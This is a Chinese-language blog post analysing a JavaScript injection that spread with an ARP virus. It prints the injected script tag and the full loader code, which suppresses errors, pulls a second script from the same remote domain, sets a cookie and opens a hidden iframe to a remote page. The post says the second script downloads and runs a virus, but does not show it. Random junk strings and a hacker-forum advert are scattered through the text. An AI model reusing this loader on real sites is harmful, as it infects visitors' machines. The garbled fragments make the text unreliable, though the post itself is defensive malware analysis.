 本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!     最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!     现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接-<script src=http://9-6.in/n.js></script>;#W6z8C-T-s4r!L:N0F 中国青年黑客联盟[CYHU]----[开放注册中]:?+^*`%A9x8l       来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;  分析:8B'@0?2x.[2x       1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:   CODE: document.writeln("<script>window.onerror=function(){return true;}<\/script>"); document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>"); document.writeln("<script>"); document.writeln("function StartRun(){"); document.writeln("var Then = new Date() "); document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)"); document.writeln("var cookieString = new String(document.cookie)"); document.writeln("var cookieHeader = \"Cookie1=\" "); document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)"); document.writeln("if (beginPosition != -1){ "); document.writeln("} else "); document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() "); document.writeln("document.write(\'<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\');"); document.writeln("}"); document.writeln("}"); document.writeln("StartRun();"); document.writeln("<\/script>")       其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9- 6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;0Y8Z!x"U#f     2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:   CODE:

 又是好长的代码,又发现了function(p,a,c,k,e,r),继续解码,代码很长,请大家自己解码查看吧,这里应用的还是上面的手法,用加密函数加密,然后转换为十六进制,尽最大努力混淆我们的视线,来达到不可告人的目的,这里的代码的主要作用是用另外一种方法下载病毒并运行,思想真的很先进,居然是去调用Web迅雷来下载病毒,然后去运行,作者真的是煞费苦心啊,应用了两种方法下载病毒,“小样,就不信毒不倒你!”,呵呵-{1_
